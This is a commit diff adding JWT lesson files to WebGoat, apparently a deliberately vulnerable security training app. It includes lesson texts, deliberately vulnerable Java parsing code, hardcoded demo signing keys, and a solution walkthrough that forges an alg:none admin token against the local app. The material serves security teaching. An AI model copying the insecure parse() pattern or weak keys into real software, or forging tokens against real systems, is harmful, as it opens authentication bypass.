Refactoring (#1201)
* Some initial refactoring * Make it one application * Got it working * Fix problem on Windows * Move WebWolf * Move first lesson * Moved all lessons * Fix pom.xml * Fix tests * Add option to initialize a lesson This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens * Clean up pom.xml files * Remove fetching labels based on language. We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages * Fix SonarLint issues * And move it all to the main project * Fix for documentation paths * Fix pom warnings * Remove PMD as it does not work * Update release notes about refactoring Update release notes about refactoring Update release notes about refactoring * Fix lesson template * Update release notes * Keep it in the same repo in Dockerhub * Update documentation to show how the connection is obtained. Resolves: #1180 * Rename all integration tests * Remove command from Dockerfile * Simplify GitHub actions Currently, we use a separate actions for pull-requests and branch build. This is now consolidated in one action. The PR action triggers always, it now only trigger when the PR is opened and not in draft. Running all platforms on a branch build is a bit too much, it is better to only run all platforms when someone opens a PR. * Remove duplicate entry from release notes * Add explicit registry for base image * Lesson scanner not working when fat jar When running the fat jar we have to take into account we are reading from the jar file and not the filesystem. In this case you cannot use `getFile` for example. * added info in README and fixed release docker * changed base image and added ignore file Co-authored-by: Zubcevic.com <rene@zubcevic.com>
116
src/main/resources/lessons/jwt/css/jwt.css
Normal file
@ -0,0 +1,116 @@
|
||||
a.list-group-item {
|
||||
height:auto;
|
||||
}
|
||||
a.list-group-item.active small {
|
||||
color:#fff;
|
||||
}
|
||||
.stars {
|
||||
margin:20px auto 1px;
|
||||
}
|
||||
.img-responsive {
|
||||
min-width: 100%;
|
||||
}
|
||||
|
||||
|
||||
.card {
|
||||
font-size: 1em;
|
||||
overflow: hidden;
|
||||
padding: 0;
|
||||
border: none;
|
||||
border-radius: .28571429rem;
|
||||
box-shadow: 0 1px 3px 0 #d4d4d5, 0 0 0 1px #d4d4d5;
|
||||
}
|
||||
|
||||
.card-block {
|
||||
font-size: 1em;
|
||||
position: relative;
|
||||
margin: 0;
|
||||
padding: 1em;
|
||||
border: none;
|
||||
border-top: 1px solid rgba(34, 36, 38, .1);
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.card-img-top {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.card-title {
|
||||
font-size: 1.28571429em;
|
||||
font-weight: 700;
|
||||
line-height: 1.2857em;
|
||||
}
|
||||
|
||||
.card-text {
|
||||
clear: both;
|
||||
margin-top: .5em;
|
||||
color: rgba(0, 0, 0, .68);
|
||||
}
|
||||
|
||||
.card-footer {
|
||||
font-size: 1em;
|
||||
position: static;
|
||||
top: 0;
|
||||
left: 0;
|
||||
max-width: 100%;
|
||||
padding: .75em 1em;
|
||||
color: rgba(0, 0, 0, .4);
|
||||
border-top: 1px solid rgba(0, 0, 0, .05) !important;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.card-inverse .btn {
|
||||
border: 1px solid rgba(0, 0, 0, .05);
|
||||
}
|
||||
|
||||
.profile {
|
||||
position: absolute;
|
||||
top: -12px;
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
box-sizing: border-box;
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
margin: 0;
|
||||
border: 1px solid #fff;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.profile-avatar {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: auto;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.profile-inline {
|
||||
position: relative;
|
||||
top: 0;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.profile-inline ~ .card-title {
|
||||
display: inline-block;
|
||||
margin-left: 4px;
|
||||
vertical-align: top;
|
||||
}
|
||||
|
||||
.text-bold {
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.meta {
|
||||
font-size: 1em;
|
||||
color: rgba(0, 0, 0, .4);
|
||||
}
|
||||
|
||||
.meta a {
|
||||
text-decoration: none;
|
||||
color: rgba(0, 0, 0, .4);
|
||||
}
|
||||
|
||||
.meta a:hover {
|
||||
color: rgba(0, 0, 0, .87);
|
||||
}
|
@ -0,0 +1,7 @@
|
||||
CREATE TABLE jwt_keys(
|
||||
id varchar(20),
|
||||
key varchar(20)
|
||||
);
|
||||
|
||||
INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234');
|
||||
INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter');
|
12
src/main/resources/lessons/jwt/documentation/JWT_decode.adoc
Normal file
@ -0,0 +1,12 @@
|
||||
== Decoding a JWT token
|
||||
|
||||
Let's try decoding a JWT token, for this you can use the webWolfLink:JWT[target=jwt] functionality inside WebWolf.
|
||||
Given the following token:
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI
|
||||
----
|
||||
|
||||
Copy and paste the following token and decode the token, can you find the user inside the token?
|
||||
|
@ -0,0 +1,5 @@
|
||||
== Final challenge
|
||||
|
||||
Below you see two accounts, one of Jerry and one of Tom. Jerry wants to remove Tom's account from Twitter, but his token
|
||||
can only delete his account. Can you try to help him and delete Toms account?
|
||||
|
@ -0,0 +1,68 @@
|
||||
== JWT libraries
|
||||
|
||||
There are a number of JWT libraries available in the Java ecosystem. Let's look at one of them:
|
||||
|
||||
|
||||
The contents of our token is:
|
||||
|
||||
[source]
|
||||
----
|
||||
header:
|
||||
|
||||
{
|
||||
"alg": "HS256",
|
||||
"typ": "JWT"
|
||||
}
|
||||
|
||||
claims:
|
||||
|
||||
{
|
||||
"sub": "1234567890",
|
||||
"name": "John Doe",
|
||||
"iat": 1516239022
|
||||
}
|
||||
----
|
||||
|
||||
[source]
|
||||
----
|
||||
var token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng";
|
||||
|
||||
Jwts.parser().setSigningKey("test").parseClaimsJws(token);
|
||||
----
|
||||
|
||||
will work!
|
||||
|
||||
Let's change the header to `{"alg":"none","typ":"JWT"}`
|
||||
Using the same source as above gives:
|
||||
|
||||
[source]
|
||||
----
|
||||
var token = " eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.NFvYpuwbF6YWbPyaNAGEPw9wbhiQSovvSrD89B8K7Ng";
|
||||
|
||||
Jwts.parser().setSigningKey("test").parseClaimsJws(token);
|
||||
----
|
||||
|
||||
will result in:
|
||||
|
||||
[souce]
|
||||
----
|
||||
io.jsonwebtoken.MalformedJwtException: JWT string has a digest/signature, but the header does not reference a valid signature algorithm.
|
||||
----
|
||||
|
||||
removing the signature completely (leaving the last `.`)
|
||||
|
||||
[source]
|
||||
----
|
||||
var token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.";
|
||||
|
||||
Jwts.parser().setSigningKey("test").parseClaimsJws(token);
|
||||
----
|
||||
|
||||
will result in:
|
||||
|
||||
[source]
|
||||
----
|
||||
io.jsonwebtoken.UnsupportedJwtException: Unsigned Claims JWTs are not supported.
|
||||
----
|
||||
|
||||
This is what you would expect from the library!
|
@ -0,0 +1,61 @@
|
||||
== Code review
|
||||
|
||||
Now let's look at a code review and try to think on an attack with the `alg: none`, so we use the following token:
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.
|
||||
----
|
||||
|
||||
which after decoding becomes:
|
||||
|
||||
[source]
|
||||
----
|
||||
{
|
||||
"alg" : "none",
|
||||
"typ" : "JWT"
|
||||
},
|
||||
{
|
||||
"admin" : true,
|
||||
"iat" : 1516239022,
|
||||
"sub" : "1234567890",
|
||||
"user" : "John Doe"
|
||||
}
|
||||
----
|
||||
|
||||
[source%linenums, java]
|
||||
----
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken);
|
||||
Claims claims = (Claims) jwt.getBody();
|
||||
String user = (String) claims.get("user");
|
||||
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
|
||||
if (isAdmin) {
|
||||
removeAllUsers();
|
||||
} else {
|
||||
log.error("You are not an admin user");
|
||||
}
|
||||
} catch (JwtException e) {
|
||||
throw new InvalidTokenException(e);
|
||||
}
|
||||
----
|
||||
|
||||
[source%linenums, java]
|
||||
----
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
|
||||
Claims claims = (Claims) jwt.getBody();
|
||||
String user = (String) claims.get("user");
|
||||
booelean isAdmin = Boolean.valueOf((String) claims.get("admin"));
|
||||
if (isAdmin) {
|
||||
removeAllUsers();
|
||||
} else {
|
||||
log.error("You are not an admin user");
|
||||
}
|
||||
} catch (JwtException e) {
|
||||
throw new InvalidTokenException(e);
|
||||
}
|
||||
----
|
||||
|
||||
Can you spot the weakness?
|
||||
|
@ -0,0 +1,37 @@
|
||||
== Code review (2)
|
||||
|
||||
Same as before but now we are only removing the signature part, leaving the algorithm as is.
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ.
|
||||
|
||||
{
|
||||
"alg" : "HS256"
|
||||
},
|
||||
{
|
||||
"admin" : true,
|
||||
"iat" : 1516239022,
|
||||
"sub" : "1234567890",
|
||||
"user" : "John Doe"
|
||||
}
|
||||
----
|
||||
|
||||
Using the following `parse` method we are still able to skip the signature check.
|
||||
|
||||
[source%linenums, java]
|
||||
----
|
||||
try {
|
||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
|
||||
Claims claims = (Claims) jwt.getBody();
|
||||
String user = (String) claims.get("user");
|
||||
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
|
||||
if (isAdmin) {
|
||||
removeAllUsers();
|
||||
} else {
|
||||
log.error("You are not an admin user");
|
||||
}
|
||||
} catch (JwtException e) {
|
||||
throw new InvalidTokenException(e);
|
||||
}
|
||||
----
|
@ -0,0 +1,46 @@
|
||||
=== Solution
|
||||
|
||||
In the past assignments we learned to **NOT** trust the libraries to do the correct thing for us. In both cases we saw that even specifying the JWT key and passing the correct algorithm. Even using the token:
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJIUzI1NiJ9.ew0KICAiYWRtaW4iIDogdHJ1ZSwNCiAgImlhdCIgOiAxNTE2MjM5MDIyLA0KICAic3ViIiA6ICIxMjM0NTY3ODkwIiwNCiAgInVzZXIiIDogIkpvaG4gRG9lIg0KfQ.
|
||||
|
||||
{
|
||||
"alg" : "HS256"
|
||||
},
|
||||
{
|
||||
"admin" : true,
|
||||
"iat" : 1516239022,
|
||||
"sub" : "1234567890",
|
||||
"user" : "John Doe"
|
||||
}
|
||||
----
|
||||
|
||||
And the following Java code:
|
||||
|
||||
[source]
|
||||
----
|
||||
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
|
||||
----
|
||||
|
||||
You see we set the signing key with `setSigningKey` the library still skips the validation of the signature.
|
||||
|
||||
It is not only limited to the traditional `alg: none` attack, but it also works with the `alg: HS256`.
|
||||
|
||||
=== Conclusion
|
||||
|
||||
When you have chosen a library to help dealing with JWT tokens make sure to:
|
||||
|
||||
- use the correct method in your code when validating tokens.
|
||||
- add test cases and validate the algorithm confusion is not possible.
|
||||
- as a security team write a utility methods to be used by the teams which encapsulate the library to make sure the teams use the correct parsing logic.
|
||||
|
||||
=== Alternative: Paseto
|
||||
|
||||
The algorithm confusion is a real problem when dealing with JWTs it can be avoided by using PASETO (**P**latform-**A**gnostic **SE**curity **TO**kens), which is currently implemented in 10 programming languages.
|
||||
One of the drawbacks of using this method is that JWT is widely spread for example think about using OAuth, so it might not be the best solution to use.
|
||||
|
||||
For more information take a look at the following video:
|
||||
|
||||
video::RijGNytjbOI[youtube, height=480, width=100%]
|
@ -0,0 +1,19 @@
|
||||
== Authentication and getting a JWT token
|
||||
|
||||
A basic sequence of getting a token is as follows:
|
||||
|
||||
image::images/jwt_diagram.png[style="lesson-image"]
|
||||
|
||||
{nbsp} +
|
||||
|
||||
In this flow, you can see the user logs in with a username and password on successful authentication the server
|
||||
returns. The server creates a new token and returns this one to the client. When the client makes a successive
|
||||
call toward the server it attaches the new token in the "Authorization" header.
|
||||
The server reads the token and first validates the signature after a successful verification the server uses the
|
||||
information in the token to identify the user.
|
||||
|
||||
=== Claims
|
||||
|
||||
The token contains claims to identify the user and all other information necessary for the server to fulfill the request.
|
||||
Be aware not to store sensitive information in the token and always send it over a secure channel.
|
||||
|
@ -0,0 +1,9 @@
|
||||
=== Best practices
|
||||
|
||||
Some best practices when working with JWT:
|
||||
|
||||
- Fix the algorithm, do not allow a client to switch the algorithm.
|
||||
- Make sure you use an appropriate key length when using a symmetric key for signing the token.
|
||||
- Make sure the claims added to the token do not contain personal information. If you need to add more information opt for encrypting the token as well.
|
||||
- Add sufficient test cases to your project to verify invalid tokens actually do not work. Integration with a third party to check your token does not mean you do not have test your application at all.
|
||||
- Take a look at the best practices mentioned in https://tools.ietf.org/html/rfc8725#section-2
|
38
src/main/resources/lessons/jwt/documentation/JWT_plan.adoc
Normal file
@ -0,0 +1,38 @@
|
||||
= JWT Tokens
|
||||
|
||||
== Concept
|
||||
|
||||
This lesson teaches about using JSON Web Tokens (JWT) for authentication and the common pitfalls you need to be aware of
|
||||
when using JWT.
|
||||
|
||||
== Goals
|
||||
|
||||
Teach how to securely implement the usage of tokens and validation of those tokens.
|
||||
|
||||
== Introduction
|
||||
|
||||
Many application use JSON Web Tokens (JWT) to allow the client to indicate is identity for further exchange after authentication.
|
||||
|
||||
From https://jwt.io/introduction:
|
||||
-------------------------------------------------------
|
||||
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact
|
||||
and self-contained way for securely transmitting
|
||||
information between parties as a JSON object. This information can be
|
||||
verified and trusted because it is digitally signed. JWTs can be signed using
|
||||
a secret (with the HMAC algorithm) or a public/private key pair using RSA.
|
||||
|
||||
JSON Web Token is used to carry information related to the identity and
|
||||
characteristics (claims) of a client. This "container" is signed by the server
|
||||
in order to avoid that a client tamper it in order to change, for example,
|
||||
the identity or any characteristics (example: change the role from simple
|
||||
user to admin or change the client login). This token is created during
|
||||
authentication (is provided in case of successful authentication) and is
|
||||
verified by the server before any processing. It is used by an application
|
||||
to allow a client to present a token representing his "identity card" (container
|
||||
with all user information about him) to server and allow the server to verify
|
||||
the validity and integrity of the token in a secure way, all of this in a stateless
|
||||
and portable approach (portable in the way that client and server technologies can
|
||||
be different including also the transport channel even if HTTP is the most often used)
|
||||
-------------------------------------------------------
|
||||
|
||||
|
@ -0,0 +1,88 @@
|
||||
:linkattrs:
|
||||
|
||||
|
||||
== Refreshing a token
|
||||
|
||||
=== Introduction
|
||||
|
||||
In this section we touch upon refreshing an access token.
|
||||
|
||||
=== Types of tokens
|
||||
|
||||
In general there are two types of tokens: an access token and a refresh token. The access token is used for making API
|
||||
calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once
|
||||
the access token is no longer valid a request can be made towards the server to get a new access token by presenting
|
||||
the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user
|
||||
having to authenticate again with their credentials. Whether you should use a refresh token and an access token depends,
|
||||
below can find a couple of points to keep in mind while choosing which tokens to use.
|
||||
|
||||
So a normal flow can look like:
|
||||
|
||||
```
|
||||
curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login
|
||||
```
|
||||
|
||||
The server returns:
|
||||
|
||||
```
|
||||
{
|
||||
"token_type":"bearer",
|
||||
"access_token":"XXXX.YYYY.ZZZZ",
|
||||
"expires_in":10,
|
||||
"refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7"
|
||||
}
|
||||
```
|
||||
|
||||
As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database)
|
||||
in order to match the refresh token to the user the refresh token was granted to.
|
||||
So in this case whenever the access token is still valid we can speak of a "stateless" session, there is
|
||||
no burden on the server side to setup the user session, the token is self contained.
|
||||
When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token
|
||||
is not blocked in any way.
|
||||
|
||||
Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The
|
||||
attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection.
|
||||
It is also possible to make the refresh token stateless but this means it will become more difficult to see if
|
||||
the user revoked the tokens.
|
||||
After the server made all the validations it must return a new refresh token and a new access token to the client. The
|
||||
client can use the new access token to make the API call.
|
||||
|
||||
|
||||
=== What should you check for?
|
||||
|
||||
Regardless of the chosen solution you should store enough information on the server side to validate whether the user
|
||||
is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh
|
||||
token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange
|
||||
behavior, you can revoke all the tokens and let the user authenticate again).
|
||||
Also keep track of which access token belonged to which refresh token otherwise an attacker might
|
||||
be able to get a new access token for a different user with the refresh token of the attacker
|
||||
(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works)
|
||||
Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check
|
||||
whether the location is still the same if not revoke all the tokens and let the user authenticate again.
|
||||
|
||||
=== Need for refresh tokens
|
||||
|
||||
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
|
||||
about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an
|
||||
access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time
|
||||
there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent
|
||||
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
|
||||
server you can choose to only use the access token.
|
||||
|
||||
As stated above using an access token and a separate refresh token gives some leverage for the server not to check
|
||||
the access token over and over. Only perform the check when the user needs a new access token.
|
||||
It is certainly possible to only use an access token. At the server you store the exact same information you would
|
||||
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
|
||||
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
|
||||
use a hash function to store them in your database).
|
||||
|
||||
=== JWT a good idea?
|
||||
|
||||
There are a lot of resources available which question the usecase for using JWT token for client to server authentication
|
||||
with regards to cookies. The best place to use a JWT token is between server to server communication. In a normal web
|
||||
application you are better of using plain old cookies. See for more information:
|
||||
|
||||
- http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/[stop-using-jwt-for-sessions, window="_blank"]
|
||||
- http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/[stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work, window="_blank"]
|
||||
- http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png[flowchart, window="_blank"]
|
||||
|
@ -0,0 +1,13 @@
|
||||
:linkattrs:
|
||||
|
||||
== Refreshing a token
|
||||
|
||||
It is important to implement a good strategy for refreshing an access token. This assignment is based on a vulnerability
|
||||
found in a private bug bounty program on Bugcrowd, you can read the full write up https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/[here, window="_blank"]
|
||||
|
||||
=== Assignment
|
||||
|
||||
From a breach of last year the following logfile is available link:images/logs.txt[here]
|
||||
Can you find a way to order the books but let *Tom* pay for them?
|
||||
|
||||
|
@ -0,0 +1,20 @@
|
||||
== JWT signing
|
||||
|
||||
Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application
|
||||
would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here]
|
||||
the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here]
|
||||
It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function
|
||||
for signing the token.
|
||||
|
||||
=== Checking the signature
|
||||
|
||||
One important step is to *verify the signature* before performing any other action, let's try to see some things you need
|
||||
to be aware of before validating the token.
|
||||
|
||||
== Assignment
|
||||
|
||||
Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes
|
||||
|
||||
|
||||
|
||||
|
@ -0,0 +1,91 @@
|
||||
=== Solution
|
||||
|
||||
The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.
|
||||
|
||||
[quote, https://tools.ietf.org/html/rfc8725#section-2.1]
|
||||
____
|
||||
Signed JSON Web Tokens carry an explicit indication of the signing
|
||||
algorithm, in the form of the "alg" Header Parameter, to facilitate
|
||||
cryptographic agility. This, in conjunction with design flaws in
|
||||
some libraries and applications, has led to several attacks:
|
||||
|
||||
* The algorithm can be changed to "none" by an attacker, and some
|
||||
libraries would trust this value and "validate" the JWT without
|
||||
checking any signature.
|
||||
|
||||
* An "RS256" (RSA, 2048 bit) parameter value can be changed into
|
||||
"HS256" (HMAC, SHA-256), and some libraries would try to validate
|
||||
the signature using HMAC-SHA256 and using the RSA public key as
|
||||
the HMAC shared secret (see [McLean] and [CVE-2015-9235]).
|
||||
|
||||
For mitigations, see Sections 3.1 and 3.2.
|
||||
____
|
||||
|
||||
What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.
|
||||
|
||||
==== Solution
|
||||
|
||||
First note that we are logged in as `Guest` so first select a different user for example: Tom.
|
||||
User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response:
|
||||
|
||||
[source]
|
||||
----
|
||||
GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1
|
||||
|
||||
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
|
||||
----
|
||||
|
||||
Decoding the token gives:
|
||||
|
||||
[source]
|
||||
----
|
||||
{
|
||||
"alg": "HS512"
|
||||
}
|
||||
{
|
||||
"iat": 1608128566,
|
||||
"admin": "false",
|
||||
"user": "Tom"
|
||||
}
|
||||
----
|
||||
|
||||
We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature?
|
||||
Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT.
|
||||
Let's change our token:
|
||||
|
||||
[source]
|
||||
----
|
||||
headers:
|
||||
|
||||
{
|
||||
"alg": "none"
|
||||
}
|
||||
|
||||
claims:
|
||||
|
||||
{
|
||||
"iat": 1608128566,
|
||||
"admin": "true",
|
||||
"user": "Tom"
|
||||
}
|
||||
----
|
||||
|
||||
If we use WebWolf to create our token we get:
|
||||
|
||||
[source]
|
||||
----
|
||||
eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
|
||||
----
|
||||
|
||||
Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid.
|
||||
|
||||
|
||||
|
||||
== References
|
||||
|
||||
For more information take a look at the following video:
|
||||
|
||||
video::wt3UixCiPfo[youtube, height=480, width=100%]
|
||||
|
||||
|
||||
|
@ -0,0 +1,35 @@
|
||||
== Storing JWT tokens
|
||||
|
||||
When receiving a JWT token you need to store it at the client side. There are basically two options:
|
||||
|
||||
- Store the token in a cookie
|
||||
- Store the token in local/session storage
|
||||
|
||||
=== Cookies
|
||||
|
||||
Cookies is the most simplest form, every browser supports cookies for a long time. A best practise is to mark the
|
||||
cookie with the `HttpOnly` to guarantee scripts cannot read the cookie and with `Secure` to make sure the cookie
|
||||
is only sent over HTTPs.
|
||||
|
||||
Note: using a cookie does not mean you have maintain a state stored on the server, like the old session cookies worked
|
||||
before. The JWT token is self contained and can/should contain all the information necessary to be completely stateless the
|
||||
cookie is just used as the transport mechanism.
|
||||
|
||||
=== Web storage
|
||||
|
||||
In this case you store the token in on the client side in HTML5 Web Storage.
|
||||
|
||||
=== Choices, security risks
|
||||
|
||||
Web storage is accessible through JavaScript running on the same domain, so the script will have access to the
|
||||
web storage. So if the site is vulnerable to a cross-site scripting attack the script is able to read the token
|
||||
from the web storage. See XSS lesson for more about how this attack works.
|
||||
|
||||
On the other hand using cookies have a different problem namely they are vulnerable to a cross-site request forgery
|
||||
attack. In this case the attacker tries to invoke an action on the website you have a token for. See CSRF lesson for more
|
||||
information about how this attack works.
|
||||
|
||||
The best recommendation is to choose for the cookie based approach. In practise it is easier to defend against a CSRF
|
||||
attack. On the other hand many JavaScript frameworks are protecting the user for a XSS attack by applying the right
|
||||
encoding, this protection comes out of the box. A CSRF protection sometimes is not provided by default and requires work.
|
||||
In the end take a look at what the framework is offering you, but most of the time a XSS attack gives the attacker more leverage.
|
@ -0,0 +1,17 @@
|
||||
== Structure of a JWT token
|
||||
|
||||
Let's take a look at the structure of a JWT token:
|
||||
|
||||
[role="lesson-image"]
|
||||
image::images/jwt_token.png[JWT]
|
||||
|
||||
The token is base64 encoded and consists of three parts:
|
||||
|
||||
- header
|
||||
- claims
|
||||
- signature
|
||||
|
||||
Both header and claims consist are respresented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT.
|
||||
The claims represent a JSON object whose members are the claims conveyed by the JWT.
|
||||
|
||||
|
10
src/main/resources/lessons/jwt/documentation/JWT_weak_keys
Normal file
@ -0,0 +1,10 @@
|
||||
== JWT cracking
|
||||
|
||||
With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key
|
||||
we can create a new token and sign it. So it is very important the key is strong enough so a brute force or
|
||||
dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.
|
||||
|
||||
=== Assignment
|
||||
|
||||
Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.
|
||||
|
366
src/main/resources/lessons/jwt/html/JWT.html
Normal file
@ -0,0 +1,366 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
<body>
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_plan.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_structure.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_decode.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||
<form id="decode" class="attack-form" method="POST" name="form" action="/WebGoat/JWT/decode">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<br>
|
||||
<div class="row">
|
||||
<div class="col-lg-10">
|
||||
<span>
|
||||
<span>
|
||||
Username:
|
||||
</span>
|
||||
<input type="text" name="jwt-encode-user">
|
||||
<button type="SUBMIT">Submit</button>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<br>
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_login_to_token.adoc"></div>
|
||||
</div>
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_signing.adoc"></div>
|
||||
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
|
||||
<script th:src="@{/lesson_js/jwt-voting.js}" language="JavaScript"></script>
|
||||
<div class="attack-container">
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST"
|
||||
successCallback="jwtSigningCallback"
|
||||
action="/WebGoat/JWT/votings">
|
||||
<div class="container-fluid">
|
||||
|
||||
